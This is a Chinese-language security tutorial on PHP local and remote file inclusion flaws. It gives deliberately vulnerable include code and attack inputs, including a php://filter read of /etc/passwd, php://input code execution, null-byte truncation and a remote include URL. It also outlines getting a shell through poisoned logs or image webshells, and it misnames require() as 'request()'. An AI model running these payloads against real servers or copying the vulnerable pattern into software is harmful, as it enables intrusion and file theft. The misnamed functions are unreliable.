php文件包含漏洞

1.文件包含的原理

1.1为什么要使用文件包含

将一些自定义函数或功能写在一个a文件内,当b文件中要使用到a文件内的一些函数或功能时,b文件只需要包含a文件,这样b文件就可以直接调用a文件内定义好的函数或一些功能,这样方便省事。

1.2相关测试代码

php文件包含代码

 
if ($_GET['file']) {
    include $_GET['file'];
}else {
    include 'default.php';
}
 ?>

存放于本地和远程服务器上的符合php语法的txt文件

 
phpinfo();
 ?>

1.3本地文件包含(LFI)

条件:php配置文件中的allow_url_fopen = on选项打开

传入参数本地文件phpinfo.txt的相对或绝对路径?file=phpinfo.txt
符合php语法的内容被php解析
php文件包含漏洞_第1张图片

1.4远程文件包含(RFI)

条件:php配置文件中的allow_url_fopen = on,allow_url_include = on选项打开

传入参数远程服务器上的文件php.txt?file=http://192.168.1.168/php.txt
符合php语法的内容被php解析
php文件包含漏洞_第2张图片

2.文件包含漏洞

2.1漏洞原理

由于对传入的文件名或路径没有进行严格过滤,这就导致了可以包含一些其他对攻击者有用的文件,比如配置文件,图片木马等文件,这样就存在敏感信息泄露,被攻击者掌握服务器等危险。被包含的文件格式不限,其中符合脚本语言语法规范的部分会被脚本解析,其他部分会以明文暴露出来。

2.2相关函数

文件包含的案例多出现于以php语言中

include()           //包含的文件如果找不到,会发出警告,代码继续执行
request()           //包含的文件如果找不到,或发出致命错误,代码终止执行
include_once()
request_once()      //once表示只包含一次,不会重复包含

2.3php伪协议

1.input

通过post提交,利用php流input执行php代码

条件:allow_url_include = on

url栏:?file=php://input
post栏:
php文件包含漏洞_第3张图片

2.filter

通过php流filter读取文件内容,配合base64编码,读出被解析的部分

条件:allow_url_include = on

传入参数:?file=php://filter/read=convert.base64-encode/resource=/etc/passwd
php文件包含漏洞_第4张图片

2.4漏洞利用技巧

1.%00截断

条件
魔术引号关闭magic_quotes_gpc = off
php版本小于5.3

有的文件包含会在传入参数后链接一个路径或者文件后缀,例如
测试代码

 
$a = $_GET['file'];
include $a.'.txt'
?>

这个时候简单的包含一个文件将失败,可以尝试%00截断的方式将后面拼接的.txt给截断掉
%00会被解析成0x00,如果魔术引号开启,%00会被解析成/0
php文件包含漏洞_第5张图片

2.文件路径长度截断

除了可以使用%00截断,还可以尝试文件路径长度截断

条件
php版本小于5.3

可以在文件路径后添加
.
./文件路径为奇数时使用
/.文件路径为偶数时使用
着三种形式来达到超长文件路径的效果

Window下,文件路径长度超过259个字节后,超出的部分会被截断
Linux下下,文件路径长度超过4096个字节后,超出的部分会被截断
php文件包含漏洞_第6张图片

3.漏洞利用

  1. 包含图片马拿shell
  2. 包含日志文件拿shell
    通过在url中写马或在User-Agent中写马
    要求:通过burp或curl等工具写马绕过url编码,日志文件有可读权限,其目录有可执行权限
  3. 遍历目录,访问敏感文件

你可能感兴趣的:(文件包含)